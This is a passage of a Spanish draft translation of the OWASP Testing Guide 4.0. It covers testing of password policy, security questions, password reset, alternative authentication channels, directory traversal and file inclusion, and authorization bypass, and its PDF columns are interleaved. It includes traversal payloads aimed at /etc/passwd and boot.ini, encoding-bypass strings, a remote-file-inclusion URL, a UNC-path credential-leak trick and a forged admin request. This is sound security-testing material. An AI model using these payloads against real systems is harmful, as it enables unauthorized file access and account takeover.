caracteres como letras minúsculas y mayúsculas, dígitos y símbolos especiales? [2] ¿Con qué frecuencia puede un usuario cambiar su contraseña? ¿Qué tan rápido puede un usuario cambiar su contraseña después de un cambio anterior? Los usuarios pueden eludir requisitos de historial de contraseña cambiando su contraseña cinco veces seguidas para que después del último cambio de contraseña recuperen su contraseña inicial otra vez. [3] ¿Cuándo un usuario debe cambiar su contraseña? ¿Después de 90 días? ¿Después del bloqueo de la cuenta debido a un número excesivo de intentos de inicio de sesión? [4] ¿Con qué frecuencia puede un usuario reutilizar una contraseña? ¿La aplicación mantiene un historial de las ultimas ocho contraseñas utilizadas por el usuario? [5] ¿ Cuán diferente debe ser la nueva contraseña de la última contraseña usada? [6] ¿Se impide al usuario que utilice su nombre de usuario u otra información de la cuenta (como el primer o último nombre) en la contraseña?

Típicamente se generan con la creación de la cuenta y requieren que el usuario seleccione algunas de las preguntas previamente generadas y provea una respuesta adecuada. Puede permitir al usuario generar sus propios pares de preguntas y respuestas. Ambos métodos son propensos a inseguridades. Idealmente, las preguntas de seguridad deben generar respuestas que sólo son conocidas por el usuario y no pueden ser predichas o descubiertas por nadie más. Esto es más difícil de lo que suena.

Las preguntas y respuestas de seguridad se basan en el secreto de la respuesta. Las preguntas y respuestas deben elegirse de modo que las respuestas son sólo conocidas por el titular de la cuenta. Sin embargo, aunque muchas respuestas no sean públicamente conocidas, la mayoría de las preguntas que implementan los sitios web promueven respuestas que son de carácter privado.

Preguntas previamente generadas: La mayoría de preguntas previamente generadas son de naturaleza bastante simple y pueden llevar a respuestas inseguras. Por ejemplo:

Referencias • Brute Force Attacks: owasp.org • Password length & complexity: owasp.org

Remediación Para mitigar el riesgo de contraseñas fácilmente adivinables facilitando el acceso no autorizado, hay dos soluciones: introducir controles de autenticación adicionales (es decir, autenticación de dos factores) o introducir una política de contraseñas fuertes. El más simple y más barato de estos es la introducción de una política de contraseña fuerte que asegura la longitud, la complejidad, la reutilización y la caducidad de la contraseña.

Pruebas para determinar la seguridad débil de pregunta/respuesta (OTG-AUTHN-008) Resumen A menudo llamadas preguntas y respuestas "secretas", las preguntas y respuestas de seguridad se utilizan frecuentemente para recuperar contraseñas olvidadas (véase Pruebas para determinar un cambio débil de contraseña o funciones de restablecimiento (OTG-AUTHN-009)), o como seguridad adicional por encima de la contraseña.

• Las respuestas pueden ser conocidas por los familiares o amigos cercanos del usuario, por ejemplo, "¿Cuál es el apellido de soltera de su madre?", "¿Cuál es su fecha de nacimiento?" • Las respuestas pueden ser fácilmente predecibles, e.g. "¿Cuál es su color favorito?", "¿Cuál es su equipo favorito de béisbol?" • Las respuestas pueden ser atacadas con fuerza bruta, por ejemplo, "¿Cuál es el nombre de su profesora favorita de secundaria?" - La respuesta está probablemente en alguna lista fácilmente descargable de nombres populares y, por lo tanto, un ataque de fuerza bruta simple puede secuenciarse en un script. • Las respuestas pueden ser públicamente visibles, por ejemplo, ¿cuál es su película favorita?"- la respuesta puede encontrarse fácilmente en la página de perfil de redes sociales del usuario.

Preguntas generadas por el usuario: El problema de pedir a los usuarios que generen sus propias preguntas es que les permite generar interrogantes muy inseguras, o incluso desviar la idea de tener una pregunta de seguridad en primer lugar. Aquí están algunos ejemplos del mundo real que ilustran este punto:

• “Cuánto es 1+1?” • “¿Cuál es tu nombre de usuario?” • “Mi clave es M3@t$p1N”

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 113

Guia de pruebas 4.0 "Borrador"

[1] ¿La aplicación permite al usuario elegir la pregunta que desea contestar? Si es así, concéntrese en las preguntas que tienen: Cómo probar Pruebas de preguntas débiles previamente generadas: Trate de obtener una lista de preguntas de seguridad mediante la creación de una nueva cuenta o siguiendo el proceso de “I don’t remember my password” (no recuerdo mi contraseña). Trate de generar tantas preguntas como sea posible para obtener una buena idea del tipo de preguntas de seguridad que se hacen. Si alguna de las preguntas de seguridad cae en las categorías descritas anteriormente, son vulnerables a ser atacadas (adivinadas,ataque de fuerza bruta, disponible en las redes sociales, etc.).

• Una respuesta "pública"; por ejemplo, algo que se podía encontrar con una consulta simple en un motor de búsqueda. • Una respuesta objetiva como la "primera escuela" u otros hechos que pueden consultarse. • Algunas posibles respuestas, tales como "qué modelo fue su primer automóvil". Estas preguntas dan al atacante una lista corta de posibles respuestas y, basado en estadísticas, el atacante podría calificar las respuestas de más a menos probables.

[2] Determine, si es posible, cuántos intentos de adivinar tiene. Pruebas de preguntas débiles generadas por el usuario: Trate de crear preguntas de seguridad al crear una cuenta nueva o mediante la configuración de propiedades de recuperación de contraseña de su cuenta. Si el sistema le permite al usuario generar sus propias preguntas de seguridad, es vulnerable a crear preguntas inseguras. Si el sistema utiliza las preguntas de seguridad generadas durante la funcionalidad de contraseña olvidada, y si se pueden enumerar nombres de usuario (vea Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)), entonces debería ser fácil para el evaluador enumerar una serie de preguntas generadas. Al utilizar este método, es probable encontrar varias preguntas débiles.

Pruebas de respuestas suceptibles a ataques de fuerza bruta:

• ¿El reinicio de la contraseña permite intentos ilimitados? • ¿Existe un período de bloqueo después de X respuestas incorrectas? Tenga en cuenta que un sistema de bloqueo puede ser un problema de seguridad por sí mismo, ya que puede ser explotado por un atacante para lanzar una ataque de negación de servicio contra los usuarios legítimos.

[3] Elija la pregunta más adecuada, basada en el análisis de los puntos anteriores y realice investigaciones para determinar las respuestas más probables.

Use los métodos descritos en Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN-003) para determinar si un número de respuestas de seguridad incorrectamente suministradas activan un mecanismo de bloqueo.

La clave para explotar con éxito y eludir un esquema de preguntas de seguridad débil es encontrar una pregunta o un conjunto de preguntas que dan la posibilidad de encontrar fácilmente las respuestas. Siempre busque preguntas que puedan dar la mayor probabilidad estadística de adivinar la respuesta correcta si está totalmente inseguro de alguna de las respuestas. Al final, un esquema de preguntas de seguridad es sólo tan fuerte como el más débil.

Lo primero que debe tomar en cuenta cuando se trata de explotar preguntas de seguridad es el número de preguntas que necesitan ser contestadas. La mayoría de las aplicaciones únicamente necesita que el usuario responda una sola pregunta, mientras que algunas aplicaciones críticas pueden requerir al usuario responder dos o más preguntas.

Referencias The Curse of the Secret Question: https://www.schneier.com/essays/archives/2005/02/the_curse_of_the_sec.htm l

El siguiente paso es evaluar la solidez de las preguntas de seguridad. ¿Las respuestas se obtendrían por una simple búsqueda en Google o con ataque de ingeniería social? Como evaluador de penetración, este es un tutorial paso a paso de cómo explotar un esquema de preguntas de seguridad:

Pruebas para determinar un cambio débil de contraseña o funciones de restablecimiento (OTG-AUTHN-009) Resumen

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 114

Guia de pruebas 4.0 "Borrador"

El cambio de contraseña y la función de restablecimiento de una aplicación es un autoservicio de cambio de contraseña o un mecanismo de restablecimiento para los usuarios. Este mecanismo de autoservicio permite a los usuarios cambiar o restablecer rápidamente la contraseña sin que un administrador intervenga. Cuando se cambian las contraseñas se cambian típicamente dentro de la aplicación. Cuando las contraseñas se restablecen son presentadas dentro de la aplicación o por correo electrónico al usuario. Esto puede indicar que las contraseñas se almacenan en texto plano o formato desencriptable.

Objetivos de la prueba [1] Determine la resistencia de la aplicación a la subversión del proceso de cambio de la cuenta permitiendo a una persona cambiar la contraseña de una cuenta. [2] Determine la resistencia de la función de restablecimiento de contraseñas contra el que puedan eludir o adivinar.

Por otro lado, si se utilizan preguntas secretas, el siguiente paso es evaluar su solidez. Esta prueba específica se discute en el párrafo de Probando la Seguridad Débil de Pregunta/Respuesta de esta guía.

• ¿Cómo se comunican las contraseñas restablecidas al usuario?

El escenario más inseguro aquí es si la herramienta de restablecimiento de contraseña le muestra la contraseña; esto le da al atacante la posibilidad de acceder a la cuenta y, a menos que la aplicación proporcione información sobre el último registro de acceso, la víctima no sabría que su cuenta ha sido comprometida.

Un escenario menos inseguro es si la herramienta de restablecimiento de contraseña obliga al usuario a cambiar inmediatamente su contraseña. Aunque no tan sigilosamente como el primer caso, permite al atacante obtener acceso y bloquer al usuario real.

Cómo probar Tanto para el cambio de contraseña como para restablecer la contraseña, es importante verificar:

[1] Si los usuarios, que no son administradores, pueden cambiar o restablecer contraseñas para cuentas que no sean la propia.

La mejor seguridad se logra si el restablecimiento de contraseña se realiza a través de un correo electrónico a la dirección del usuario inicialmente registrado o a alguna dirección de correo electrónico; Esto fuerza al atacante no sólo a adivinar a qué correo fue enviado el restablecimiento de contraseña de la cuenta (a menos que la aplicación muestre esta información), sino también a comprometer la cuenta de correo electrónico, con el fin de obtener la contraseña temporal o el vínculo para restablecer la contraseña.

[2] Si los usuarios pueden manipular o subvertir el cambio de contraseña o restablecer el proceso para cambiar o restablecer la contraseña de otro usuario o administrador. •¿ Son las contraseñas de restablecimiento generadas al azar? [3] Si el cambio de contraseña o reinicio del proceso es vulnerable a CSRF.

Pruebe el reinicio de contraseña Adicionalmente a las revisiones anteriores, es importante verificar lo siguiente:

• ¿ ué información es necesaria para restablecer la contraseña?

El primer paso es comprobar si se requieren preguntas secretas. El envío de la contraseña (o un enlace de restablecimiento de contraseña) a la dirección de correo electrónico del usuario, sin preguntar primero una pregunta secreta, es confiar 100% en la seguridad de la dirección de correo electrónico, que no es conveniente si la aplicación necesita un alto nivel de seguridad.

El escenario más inseguro aquí es si la aplicación envía o visualiza la contraseña antigua en texto claro, porque esto significa que las contraseñas no se almacenan en una forma de hash, que es un problema de seguridad en sí mismo.

La mejor seguridad se logra si las contraseñas se generan aleatoriamente con un algoritmo seguro que no se puede derivar.

• ¿La función de restablecimiento de contraseña solicita confirmación antes de cambiar la contraseña?

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 115

Guia de pruebas 4.0 "Borrador"

Para limitar los ataques de negación de servicio, la aplicación debe enviar por correo electrónico un enlace al usuario con una ficha al azar y, sólo si el usuario visita el enlace, entonces el procedimiento de reinicio se ha completado. Esto asegura que la contraseña actual seguirá siendo válida hasta que el restablecimiento haya sido confirmado.

Los canales alternativos de interacción del usuario podrían utilizarse para eludir el canal primario o exponer información que puede utilizarse para ayudar a un ataque contra el canal primario. Algunos de estos canales pueden ser aplicaciones web independientes, mediante nombres o rutas de alojamiento diferentes. Por ejemplo:

Pruebe el cambio de contraseña Adicionalmente a la prueba anterior, es importante verificar:

• Página web estándar • Sitio web optimizado para dispositivos móviles o dispositivos específicos

• ¿ La contraseña anterior es solicitada para completar el cambio?

• Sitio web de accesibilidad optimizada • Sitios web de país e idioma alternativos

El escenario más inseguro aquí es si la aplicación permite el cambio de la contraseña sin solicitar la contraseña actual. De hecho, si un atacante es capaz de tomar el control de una sesión válida, podría cambiar fácilmente la contraseña de la víctima.

Véase también el párrafo Probando políticas de contraseñas débiles de esta guía.

• Sitios web paralelos que utilizan el mismo usuario (por ejemplo, otra página web que ofrece diferentes funcionalidades de la misma organización, un sitio web de un socio con el que se comparten cuentas de usuario) • Desarrollo, prueba, UAT y puesta en escena de las versiones de la página web estándar

Pero también podría haber otro tipo de aplicaciones o procesos del negocio:

Referencias

• Aplicación para dispositivos móviles

• OWASP Forgot Password Cheat Sheet

• Aplicación de escritorio

• OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery

• Operadores de centros de llamadas (call center) • Sistemas de respuesta de voz interactiva o sistemas de árboles de llamadas telefónicas

Remediación El cambio de contraseña o función de restablecimiento es una función sensible y requiere algún tipo de protección, tal como que los usuarios tengan que volver a autenticarse o que se presente al usuario pantallas de confirmación durante el proceso.

Tome en cuenta que el objetivo de esta prueba está en los canales alternativos; algunas alternativas de autenticación pueden aparecer ya que hay diferente contenido entregado por el mismo sitio web y seguramente estarán en la mira de pruebas. Estas no se discutirán más a fondo aquí y deben haber sido identificadas durante las pruebas de recolección de información y autenticación primarias. Por ejemplo:

Pruebas para determinar la autenticación más débil en un canal alternativo (OTG-AUTHN-010) Resumen Incluso si los mecanismos de autenticación primaria no incluyen vulnerabilidades, puede ser que las vulnerabilidades existan en canales alternativos de autenticación legítima para la misma cuenta del usuario. Deben realizarse pruebas para identificar canales alternativos y, conforme a la prueba de evaluación, identificar las vulnerabilidades.

• El progresivo enriquecimiento y la degradación que cambian la funcionalidad • Uso del sitio sin cookies • Uso del sitio sin JavaScript • Uso del sitio sin plugins Flash y Java

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 116

Guia de pruebas 4.0 "Borrador"

Aunque el alcance de la prueba no permita probar a los canales alternativos, su existencia debe ser documentada. Estos pueden debilitar el grado de fiabilidad en los mecanismos de autenticación y pueden ser un precursor de pruebas adicionales.

Ejemplo:

• Use motores de búsqueda para encontrar sitios web diferentes de la misma organización o que usen el mismo nombre de dominio, que tienen similar contenido en la página de inicio o que disponen de mecanismos de autenticación.

Para cada posible canal, confirme si las cuentas de usuario son compartidas a través de éstos, o proporcionan acceso a la misma o similar funcionalidad.

El sitio web principal es: http://www.example.com

Enumere la funcionalidad de autenticación

y las funciones de autenticación siempre ocurren en páginas que utilizan Transport Layer Security:

Para cada canal alternativo donde se comparten las cuentas de usuario o funcionalidad, identifique si se dispone de todas las funciones de autenticación del canal principal y si existe algo más. Puede ser útil crear una cuadrícula como la siguiente:

https://www.example.com/myaccount/

Sin embargo, un sitio web optimizado para móvil independiente existe y no usa Transport Layer Security y dispone de un mecanismo de recuperación de contraseña más débil:

phpBB

Móvil

Centro de llamadas

Sitio web asociado

Registro

Si

-

-

Abrir sesion

Si

Si

Si (SSO)

Cerrar sesión

-

-

-

Reestablecer contraseña

Si

Si

-

Cambio de Contraseña

-

-

http://m.example.com/myaccount/

Cómo probar Entienda el mecanismo primario Pruebe completamente las funciones de autenticación primaria del sitio web. Esto debe identificar cómo se emiten, crean o cambian las cuentas y cómo se recuperan, restablecen o cambian las contraseñas. Además, debe conocerse cualquier privilegio elevado de las medidas de autenticación y de protección de autenticación. Estos precursores son necesarios para poder compararlos con los canales alternativos.

Identifique otros canales Otros canales pueden encontrarse mediante los métodos siguientes: • Lea el contenido del sitio, especialmente la página de inicio, contáctenos, páginas de ayuda, artículos y preguntas frecuentes (FAQs) , T & Cs, avisos de privacidad, los archivos robots.txt y sitemap.xml • Busque registros proxy HTTP, grabados durante la recopilación de información y pruebas previas, con las cadenas como "mobile", "android", blackberry", "ipad", "iphone", “mobile app”, “e-reader”, “wireless”, “auth”, “sso”, “single sign on” en rutas de URL y contenido.

En este ejemplo, el móvil tiene una función extra: "cambiar la contraseña", pero no ofrece "desconectarse". Un número limitado de tareas también son posibles llamando al centro de llamadas. Los centros de llamadas pueden ser interesantes, porque sus controles de confirmación de identidad podrían ser más débiles que los de la página web, lo cual permite que este canal sea utilizado para un ataque contra la cuenta de un usuario.

Mientras se enumeran estos, vale la pena tomar nota de cómo se lleva a cabo el manejo de sesiones, en caso de que haya una superposición a través de cualquier canal (cookies destinadas al mismo nombre de dominio padre, sesiones simultáneas permitidas a través de canales, pero no en el mismo canal).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 117

Guia de pruebas 4.0 "Borrador"

Revise y pruebe Los canales alternativos deben mencionarse en el informe de prueba, incluso si están marcados como "solo informativos" y/o "fuera del alcance". En algunos casos, el alcance de la prueba podría incluir el canal alternativo (por ejemplo, porque es una ruta en el nombre del alojamiento de destino), o pueden añadirse al ámbito después de la discusión con los dueños de los canales. Si la prueba se permite y autoriza, entonces todas las otras pruebas de autenticación en esta guía deben realizarse y compararse con el canal primario.

Casos de prueba relacionados Los casos de prueba para todas las pruebas de autenticación deben ser utilizados.

Tradicionalmente, los servidores web y aplicaciones web implementan mecanismos de autenticación para controlar el acceso a archivos y recursos. Los servidores web tratan de limitar los archivos de los usuarios dentro de un "directorio raíz" o "raíz del documento web ", que representa un directorio físico en el sistema de archivos. Los usuarios deben considerar este directorio como el directorio base en la estructura jerárquica de la aplicación web.

La definición de los privilegios se realiza mediante LISTAS DE Control de acceso (ACL) que identifican qué usuarios o grupos se supone que deben tener acceso, modificar o ejecutar un archivo en el servidor. Estos mecanismos están diseñados para evitar que usuarios malintencionados tengan acceso a archivos sensibles (por ejemplo, el archivo común /etc/passwd en una plataforma tipo UNIX) o para evitar la ejecución de comandos del sistema.

Remediación Asegúrese de que se aplique una política de autenticación consistente en todos los canales para que sean igualmente seguros.

Cómo probar la autorización Autorización es el concepto de permitir acceso a los recursos, sólo a aquellos permitidos para utilizarlos. Probando la autorización significa comprender cómo funciona el proceso de autorización y usar esa información para eludir el mecanismo de autorización.

La autorización es un proceso que viene después de una autenticación correcta, por lo que el evaluador verifica este punto después de tener credenciales válidas, asociadas a un conjunto bien definido de roles y privilegios. En este tipo de evaluación, se debe verificar si es posible eludir el esquema de autorización, encontrando una vulnerabilidad de ruta de circulación, o encontrar maneras de aumentar los privilegios asignados al evaluador.

Probar la inclusión de archivos de directorio de circulación(OTGAUTHZ-001) Resumen Muchas aplicaciones web usan y administran archivos como parte de su operación diaria. Usando métodos de validación de entrada que no han sido bien diseñados o implementados, un agresor podría aprovechar el sistema para leer o escribir archivos que no están diseñados para ser accesibles. En situaciones particulares, podría ser posible ejecutar un código arbitrario o comandos del sistema.

Muchas aplicaciones web utilizan secuencias de comandos de servidor para incluir diferentes tipos de archivos. Es muy común utilizar este método para administrar imágenes, plantillas, cargar textos estáticos y así sucesivamente. Desafortunadamente, estas aplicaciones exponen las vulnerabilidades de seguridad si los parámetros de entrada (es decir, parámetros de los formularios, valores de cookies) no son validados correctamente.

En servidores web y aplicaciones web, este tipo de problemas se presenta en ataques path de inclusión de archivos de circulación. Mediante la explotación de este tipo de vulnerabilidad, un atacante es capaz de leer directorios o archivos que normalmente no puede leer, acceder a los datos fuera de la raíz de documentos web o incluir secuencias de comandos y otros tipos de archivos desde sitios web externos.

Para el propósito de la guía de pruebas OWASP, sólo las amenazas de seguridad relacionadas con aplicaciones web se considerarán y no las amenazas a servidores web (por ejemplo, la infame "%5 escape c code" en el servidor web IIS de Microsoft). Más sugerencias de lectura se proveerán en la sección de referencias para los lectores interesados.

Este tipo de ataque es también conocido como el ataque de punto-puntoslash (dot-dot-slash) (... /), salto de directorio, escalada de directorio o retroceso.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 118

Guia de pruebas 4.0 "Borrador"

Durante una evaluación, para descubrir fallas en el recorrido de circulación y los archivos, los evaluadores necesitan realizar dos etapas diferentes:

(a) Enumeración de Vectores de Entrada (una evaluación sistemática de cada vector de entrada)

Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJ gMSSPKVMV: TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed

(b) Técnicas de Pruebas (una evaluación metódica de cada técnica de ataque, utilizada por un atacante para explotar la vulnerabilidad)

Técnicas de pruebas Cómo probar Prueba de Caja Negra Enumeración de vectores de entrada Con el fin de determinar qué parte de la aplicación es vulnerable a eludir la validación de entrada, el evaluador debe enumerar todas las partes de la aplicación que aceptan el contenido por parte del usuario. Esto también incluye consultas HTTP GET y POST y opciones comunes como carga de archivos y formularios HTML.

Estos son algunos ejemplos de los controles a realizar en esta etapa:

• ¿Hay parámetros de solicitud que se podrían utilizar para las operaciones relacionadas con archivos?

La siguiente etapa de la prueba es analizar las funciones de validación de entrada presentes en la aplicación web. Usando el ejemplo anterior, la página dinámica llamada getUserProfile.jsp carga información estática de un archivo y muestra el contenido a los usuarios. Un atacante podría insertar la cadena maliciosa "... /.. /.. /.. / etc/passwd" para incluir el archivo de contraseñas hash de un sistema Linux/UNIX. Obviamente, este tipo de ataque sólo es posible si el punto de control de validación falla. Según los privilegios de sistema de archivos, la aplicación web debe ser capaz de leer el archivo.

Para comprobar con éxito esta falla, el evaluador debe tener conocimiento del sistema que está sometido a prueba y la ubicación de los archivos que se solicitan. No tiene ningún sentido solicitar /etc/passwd de un servidor web IIS.

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

• ¿Hay extensiones de archivo inusuales? • ¿Hay nombres de variables interesantes?

http://example.com/getUserProfile.jsp?item=ikki.html http://example.com/index.php?file=content

Para el ejemplo de cookies:

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd

http://example.com/main.cgi?home=index.htm

¿• Es posible identificar las cookies utilizadas por la aplicación web para la generación dinámica de páginas o plantillas?

También es posible incluir archivos y secuencias de comandos ubicadas en sitios externos.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 119

Guia de pruebas 4.0 "Borrador"

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

root directory: “:” directory separator: “:

El siguiente ejemplo demostrará cómo es posible mostrar el código fuente de un componente CGI, sin utilizar los caracteres de ruta de circulación.

Debemos tomar en cuenta los mecanismos de codificación de los siguientes caracteres:

http://example.com/main.cgi?home=main.cgi • URL encoding and double URL encoding

%2e%2e%2f represents ../

El componente llamado "main.cgi" está situado en el mismo directorio como el de los archivos estáticos HTML normales utilizados en la aplicación. En algunos casos, el evaluador debe codificar las peticiones utilizando caracteres especiales (como el "." dot, "% 00" null,...) para evitar controles de extensión de archivo o para evitar la ejecución del script.

%2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\

Sugerencia: Es un error común de los programadores no esperar todas las formas de codificación y, por lo tanto, solo hacer validación de contenido codificado básico. Si al principio la secuencia de la prueba no es exitosa, pruebe con otro esquema de codificación. Cada sistema operativo utiliza caracteres diferentes como separadores de ruta:

%252e%252e%255c represents ..\ ..%255c represents ..\ and so on.

• Unicode/UTF-8 Encoding (solo funciona en sistemas que aceptan secuencias UTF-8 alargadas)

Unix-like OS: ..%c0%af represents ../ root directory: “/”

..%c1%9c represents ..\

directory separator: “/”

Windows OS’ Shell’: root directory: “:\” directory separator: “\” or “/”

Hay otros sistemas operativos y aplicaciones con frameworks con consideraciones específicas. Por ejemplo, Windows es flexible en su análisis de rutas de archivo.

• Shell de Windows: anexa cualquiera de las siguientes rutas utilizadas en los resultados de un comando de shell sin crear ninguna diferencia en la función: • Los signos de ángulo ">" y "<" al final de la ruta

Classic Mac OS:

• Dobles comillas (debidamente cerradas) al final de la ruta • Marcadores extraños del directorio actual como". /" o ". \"

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 120

Guia de pruebas 4.0 "Borrador"

• Marcadores extraños del directorio parental con elementos arbitrarios que pueden o no existir

• Puede ser equivalente a una letra de unidad como c:\, o incluso a un volumen de disco sin una letra asignada.

\\.\GLOBALROOT\Device\HarddiskVolume1\ Ejemplos: – file.txt – file.txt...

• Se refiere a la primera unidad de disco en la máquina.

– file.txt – file.txt””””

\\.\CdRom0\

– file.txt<<<>>>< – ./././file.txt – nonexistant/../file.txt

• Windows API: los siguientes elementos son desechados cuando se utilizan en cualquier comando shell o llamada a la API, donde se toma una cadena como un nombre de archivo:

periodos

Pruebas de Caja Gris Cuando el análisis se realiza con un enfoque de Caja Gris, los evaluadores tienen que seguir la misma metodología que en las pruebas de Caja Negra. Sin embargo, puesto que pueden revisar el código fuente, es posible buscar los vectores de entrada (etapa (a) de la prueba) más fácilmente y con precisión. Durante una revisión de código fuente, pueden utilizar herramientas simples (como el comando grep) para buscar uno o más patrones comunes dentro del código de la aplicación: la inclusión de funciones/métodos, operaciones de sistema de archivos y demás.

espacios PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... JSP/Servlet: java.io.File(), java.io.FileReader(), ... • Windows UNC Filepaths: utilizado para referenciar archivos en recursos compartidos SMB. A veces, se puede hacer una aplicación para referirse a archivos en una ruta UNC remota. Si es así, el servidor SMB de Windows puede enviar las credenciales almacenadas al atacante, que pueden ser capturadas y penetradas. Estos también pueden ser utilizados con una dirección IP autorreferenciada o con un nombre de dominio para evitar los filtros, o utilizarlos para tener acceso a archivos en recursos compartidos SMB, inaccesibles al atacante, pero accesibles desde el servidor web.

\\server_or_ip\path\to\file.abc

ASP: include file, include virtual, ...

Utilizando motores de búsqueda de código en línea (por ejemplo, Ohloh Code[1]), es también posible encontrar fallas en la ruta de circulación en el software de código abierto publicado en Internet.

\\?\server_or_ip\path\to\file.abc Para PHP, los evaluadores pueden utilizar:

lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE) • Windows NT Device Namespace: Se utiliza para referirse al espacio de nombres de dispositivo de Windows. Ciertas referencias permiten el acceso a sistemas de archivos utilizando una ruta diferente.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 121

Guia de pruebas 4.0 "Borrador"

code.google.com Usando el método de pruebas de Caja Gris, es posible descubrir las vulnerabilidades que son generalmente más difíciles de hallar, o incluso imposibles de encontrar durante una evaluación estándar de la Caja Negra.

• Web Proxy (Burp Suite[2], Paros[3], WebScarab[4], OWASP: Zed Attack Proxy (ZAP)[5]) • Enconding/Decoding tools • String searcher “grep” - gnu.org

Algunas aplicaciones web generan páginas dinámicas utilizando valores y parámetros almacenados en una base de datos. Es posible insertar cadenas de ruta de circulación especialmente diseñadas cuando la aplicación añade datos a la base de datos. Este tipo de problema de seguridad es difícil de descubrir debido a que los parámetros dentro de las funciones de inclusión parecen internos y "seguros", pero no lo son en realidad.

Además, revisando el código fuente es posible analizar las funciones que se supone deben manejar las entradas inválidas: algunos desarrolladores tratan de cambiar la entrada inválida para que sea válida, evitando avisos y errores. Estas funciones son generalmente propensas a fallas de seguridad.

Considere una aplicación web con estas instrucciones:

Referencias Libros Blancos • phpBB Attachment Mod Directory Traversal HTTP POST Injection: archives.neohapsis.com • Windows File Pseudonyms: Pwnage and Poetry: slideshare.net

Cómo probar la autorización La autorización es el concepto de permitir acceso a los recursos, pero sólo a aquellos señalados para utilizarlos. Probar la autorización significa comprender cómo funciona el proceso de autorización y usar esa información para eludir el mecanismo de autorización.

filename = Request. ueryString(“file”); Replace(filename, “/”,”\”); Replace(filename, “..\”,””);

Probar la falla se consigue mediante:

La autorización es un proceso que viene después de una autenticación correcta, por lo que el evaluador verificará este punto después de tener credenciales válidas, asociadas a un conjunto bien definido de roles y privilegios. En este tipo de evaluación, se debe verificar si es posible eludir el esquema de autorización, encontrar una vulnerabilidad de ruta de circulación, o encontrar maneras de aumentar los privilegios asignados al evaluador.

file=....//....//boot.ini Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002) file=....\\....\\boot.ini Resumen file= ..\..\boot.ini

Este tipo de prueba se centra en comprobar cómo se implementó el esquema de autorización para que cada rol o privilegio obtenga acceso a funciones reservadas y recursos.

Herramientas • DotDotPwn - The Directory Traversal Fuzzer: dotdotpwn.sectester.net

Para cada rol específico que el evaluador tiene durante la evaluación, para cada función y solicitud que la aplicación ejecuta durante la fase posterior a la autenticación, es necesario verificar:

• Path Traversal Fuzz Strings (from WFuzz Tool):

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 122

Guia de pruebas 4.0 "Borrador"

• ¿Es posible acceder a ese recurso, incluso si el usuario no está autenticado?

¿Qué sucede si un usuario no administrativo intenta ejecutar esa petición? ¿Se creará el usuario? Si es así, ¿puede utilizar sus privilegios del nuevo usuario?

• ¿Es posible tener acceso a ese recurso después de la desconexión? • ¿Es posible acceder a las funciones y los recursos que deben ser accesibles a un usuario que tiene un rol diferente o un privilegio?

Intente acceder a la aplicación como un usuario administrativo y siga todas las funciones administrativas.

Pruebas para diferente

buscar el acceso a los recursos asignados a un rol

Por ejemplo, analice una aplicación que utiliza un directorio compartido para almacenar archivos PDF temporales para diferentes usuarios. Suponga que documentABC.pdf debe ser accesible sólo por el usuario test1 con roleA. Verifique si el usuario test2 con roleB puede acceder a ese recurso.

• ¿Es posible acceder a funciones administrativas si el evaluador está registrado como un usuario con privilegios estándar? • ¿Es posible utilizar estas funciones administrativas como un usuario con un rol diferente y para quien esa acción debería ser negada?

Herramientas • OWASP WebScarab: OWASP WebScarab Project • OWASP Zed Attack Proxy (ZAP)

Cómo probar Pruebas para buscar el acceso a funciones administrativas Por ejemplo, suponga que la función 'AddUser.jsp' es parte del menú administrativo de la aplicación, y es posible acceder a él al solicitar la siguiente URL:

https://www.example.com/admin/addUser.jsp

Entonces, la siguiente petición HTTP se genera cuando se llama a la función AddUser:

POST /admin/addUser.jsp HTTP/1.1

Host: www.example.com

Pruebas para determinar el escalamiento de privilegios (OTG-AUTHZ003) Resumen Esta sección describe el problema del escalamiento de privilegios de una etapa a otra. Durante esta fase, el evaluador deberá verificar que no es posible para un usuario modificar sus privilegios o roles dentro de la aplicación, de manera que podría permitir ataques de escalada de privilegios.

El escalamiento de privilegios se produce cuando un usuario obtiene acceso a más recursos o funcionalidad que la que normalmente se le permite, y dicha elevación o cambios debían haber sido evitados por la aplicación. Esto es generalmente causado por un defecto en la aplicación. El resultado es que la aplicación realiza las acciones con más privilegios que los que el desarrollador o administrador del sistema querían adjudicar.

[other HTTP headers]

userID=fakeuser&role=3&group=grp001

El grado de escalamiento depende de los privilegios que el atacante está autorizado a poseer y que se pueden obtener en una explotación exitosa. Por ejemplo, un error de programación que permite a un usuario privilegios extras después de la autenticación correcta limita el grado de escalamiento, porque el usuario ya está autorizado a tener algo de privilegios. Asimismo, un atacante remoto que obtiene privilegios de superusuario sin ninguna autenticación presenta un mayor grado de escalamiento.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 123

Guia de pruebas 4.0 "Borrador"

HTTP/1.1 200 OK Generalmente, las personas se refieren al escalamiento vertical cuando es posible tener acceso a recursos en cuentas más privilegiadas (por ejemplo, adquirir privilegios administrativos para la aplicación) y en escalamiento horizontal cuando es posible acceder a los recursos de una cuenta configurada de manera similar (por ejemplo, en una aplicación de banca en línea, al acceder a la información relacionada con un usuario diferente).

Server: Netscape-Enterprise/6.0 Date: Wed, 1 Apr 2006 13:51:20 GMT

Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; domain=www.example.com

path=/;

